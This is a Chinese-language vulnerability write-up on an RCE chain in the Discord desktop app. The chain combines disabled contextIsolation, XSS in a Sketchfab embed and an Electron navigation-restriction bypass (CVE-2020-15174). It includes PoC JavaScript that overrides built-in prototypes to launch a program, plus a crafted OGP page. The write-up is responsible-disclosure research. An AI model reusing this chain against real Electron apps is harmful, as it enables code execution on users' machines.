Discord桌面应用RCE漏洞分析

几个月前，我在Discord桌面应用中发现了远程代码执行漏洞，并通过其漏洞奖励计划进行了报告。这个RCE漏洞的有趣之处在于它需要结合多个漏洞才能实现。本文将分享详细技术细节。

选择Discord作为目标的原因

我最近想研究Electron应用的漏洞，所以寻找提供Electron应用漏洞奖励的项目，最终选择了Discord。同时作为Discord用户，我也希望确认自己使用的应用是否安全。

发现的漏洞

我基本发现了以下三个漏洞，并通过组合它们实现了RCE：

• 上下文隔离缺失
• iframe嵌入中的XSS
• 导航限制绕过（CVE-2020-15174）

下面逐一解释这些漏洞。

上下文隔离缺失

测试Electron应用时，我首先检查用于创建浏览器窗口的BrowserWindow API选项。通过检查这些选项，我思考当渲染进程中可以执行任意JavaScript时如何实现RCE。

Discord的Electron应用虽然不是开源项目，但Electron的JavaScript代码以asar格式本地保存，只需解压即可阅读。

主窗口使用以下选项：

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const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

这里需要特别检查的重要选项是nodeIntegration和contextIsolation。从以上代码我发现Discord主窗口中nodeIntegration设置为false，contextIsolation也设置为false（使用版本的默认值）。

如果nodeIntegration设置为true，网页的JavaScript可以通过简单调用require()来使用Node.js功能。例如，在Windows上执行calc应用的方式是：

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<script>
  require('child_process').exec('calc');
</script>

这次nodeIntegration设置为false，所以我无法通过直接调用require()来使用Node.js功能。

但是，仍然存在访问Node.js功能的可能性。另一个重要选项contextIsolation设置为false。如果要消除应用中RCE的可能性，此选项不应设置为false。

如果禁用contextIsolation，网页的JavaScript可以影响渲染器上Electron内部JavaScript代码的执行，以及预加载脚本的执行（以下将这些JavaScript称为网页外部的JavaScript代码）。

例如，如果从网页的JavaScript使用另一个函数覆盖JavaScript内置方法之一的Array.prototype.join，则当调用join时，网页外部的JavaScript代码也将使用被覆盖的函数。

这种行为很危险，因为无论nodeIntegration选项如何，Electron都允许网页外部的JavaScript代码使用Node.js功能，并且通过从网页中覆盖的函数干扰它们，即使nodeIntegration设置为false，也有可能实现RCE。

顺便说一句，这样的技巧以前并不为人所知。它最早是在2016年由Cure53的一次渗透测试中发现的，我也参与了那次测试。之后，我们向Electron团队报告并引入了contextIsolation。

最近，该渗透测试报告已发布。如果你感兴趣，可以从以下链接阅读：

Pentest-Report Ethereum Mist 11.2016 - 10.2017 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

你也可以阅读我在CureCon活动中使用的幻灯片：

contextIsolation引入了网页和网页外部JavaScript代码之间的分离上下文，以便每个代码的JavaScript执行不会相互影响。这是消除RCE可能性的必要功能，但这次在Discord中被禁用。

现在我发现contextIsolation被禁用，于是开始寻找可以通过干扰网页外部JavaScript代码来执行任意代码的地方。

通常，在Electron渗透测试中创建RCE的PoC时，我首先尝试使用渲染器上的Electron内部JavaScript代码来实现RCE。这是因为渲染器上的Electron内部JavaScript代码可以在任何Electron应用中执行，所以基本上我可以重用相同的代码来实现RCE，这很容易。

在我的幻灯片中，我介绍了可以通过使用Electron在导航时执行的代码来实现RCE。不仅可以从该代码实现，而且在某些地方存在这样的代码。（我希望将来发布PoC示例。）

但是，根据使用的Electron版本或设置的BrowserWindow选项，由于代码已更改或无法正确到达受影响的代码，有时通过Electron代码的PoC效果不佳。这次它没有奏效，所以我决定将目标改为预加载脚本。

检查预加载脚本时，我发现Discord向网页暴露了一个函数，允许通过DiscordNative.nativeModules.requireModule(‘MODULE-NAME’)调用某些允许的模块。

在这里，我无法直接使用可用于RCE的模块，例如child_process模块，但我发现了一个代码，可以通过覆盖JavaScript内置方法并干扰暴露模块的执行来实现RCE。

以下是PoC。我能够确认，当从devTools调用名为"discord_utils"的模块中定义的getGPUDriverVersions函数时，同时覆盖RegExp.prototype.test和Array.prototype.join，计算器应用程序会弹出。

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RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions函数尝试使用"execa"库执行程序，如下所示：

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module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }
  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }
  return result;
};

通常execa尝试执行nvidiaSmiPath变量中指定的"nvidia-smi.exe"，但是由于覆盖了RegExp.prototype.test和Array.prototype.join，参数在execa的内部处理中被替换为"calc"。

具体来说，通过更改以下两个部分来替换参数：

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

剩下的工作是找到在应用程序上执行JavaScript的方法。如果我能找到它，就会导致实际的RCE。

iframe嵌入中的XSS

如上所述，我发现任意JavaScript执行可能导致RCE，因此我试图找到XSS漏洞。应用程序支持自动链接或Markdown功能，但看起来很好。于是我转而关注iframe嵌入功能。iframe嵌入是当发布YouTube URL时在聊天中自动显示视频播放器的功能。

当发布URL时，Discord尝试获取该URL的OGP信息，如果存在OGP信息，它会在聊天中显示页面标题、描述、缩略图、相关视频等。

Discord从OGP提取视频URL，只有当视频URL是允许的域并且URL实际上具有嵌入页面的URL格式时，该URL才会嵌入到iframe中。

我找不到关于哪些服务可以嵌入iframe的文档，因此我尝试通过检查CSP的frame-src指令来获取提示。当时使用了以下CSP：

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Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

显然，其中一些列出的域允许iframe嵌入（例如YouTube、Twitch、Spotify）。

我尝试通过将域逐个指定到OGP信息中来检查URL是否可以嵌入iframe，并尝试在嵌入的域上查找XSS。经过一些尝试，我发现CSP中列出的域之一sketchfab.com可以嵌入iframe，并在嵌入页面上发现了XSS。

我当时不了解Sketchfab，但它似乎是一个用户可以发布、购买和销售3D模型的平台。在3D模型的脚注中存在一个简单的基于DOM的XSS。

以下是PoC，具有精心构造的OGP。当我将此URL发布到聊天时，Sketchfab被嵌入到聊天中的iframe中，在iframe上点击几次后，执行了任意JavaScript。

https://l0.cm/discord_rce_og.html

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<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

好的，我终于找到了XSS，但JavaScript仍在iframe上执行。由于Electron不会将"网页外部的JavaScript代码"加载到iframe中，因此即使我覆盖了iframe上的JavaScript内置方法，也无法干扰Node.js的关键部分。要实现RCE，我们需要跳出iframe并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口或从iframe将顶部窗口导航到另一个URL。

我检查了相关代码，发现在主进程的代码中找到了使用"new-window"和"will-navigate"事件限制导航的代码：

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mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

我认为这段代码可以正确地防止用户打开新窗口或导航顶部窗口。但是，我注意到了意外的行为。

导航限制绕过（CVE-2020-15174）

我认为代码没问题，但我尝试检查从iframe进行的顶部导航是否被阻止。然后，令人惊讶的是，由于某种原因，导航没有被阻止。我预计尝试会在导航发生之前被"will-navigate"事件捕获，并被preventDefault()拒绝，但事实并非如此。

为了测试这种行为，我创建了一个小的Electron应用。我发现由于某种原因，“will-navigate"事件不会从iframe启动的顶部导航发出。准确地说，如果顶部的源和iframe的源是同源，则会发出事件，但如果它是不同源，则不会发出事件。我不认为这种行为有正当理由，所以我认为这是Electron的错误，并决定稍后向Electron团队报告。

借助这个错误，我能够绕过导航限制。我最后要做的只是使用iframe的XSS导航到包含RCE代码的页面，如top.location=”//l0.cm/discord_calc.html"。

通过这种方式，结合三个漏洞，我能够实现RCE，如下面的视频所示。

最终结果

这些问题通过Discord的漏洞奖励计划进行了报告。首先，Discord团队禁用了Sketchfab嵌入，并通过向iframe添加sandbox属性采取了变通措施以防止从iframe导航。一段时间后，启用了contextIsolation。现在即使我可以在应用程序上执行任意JavaScript，也不会通过被覆盖的JavaScript内置方法发生RCE。我因此发现获得了5,000美元的奖励。

Sketchfab上的XSS通过Sketchfab的漏洞奖励计划进行了报告，并由Sketchfab开发人员快速修复。我因此发现获得了300美元的奖励。

“will-navigate"事件中的错误作为Electron的错误报告给Electron的安全团队，并被修复为以下漏洞（CVE-2020-15174）。

Unpreventable top-level navigation · Advisory · electron/electron https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

就是这样。

个人而言，我喜欢外部页面的错误或与应用程序本身实现无关的Electron错误导致RCE的情况:)

希望本文能帮助您保持Electron应用的安全。

感谢阅读！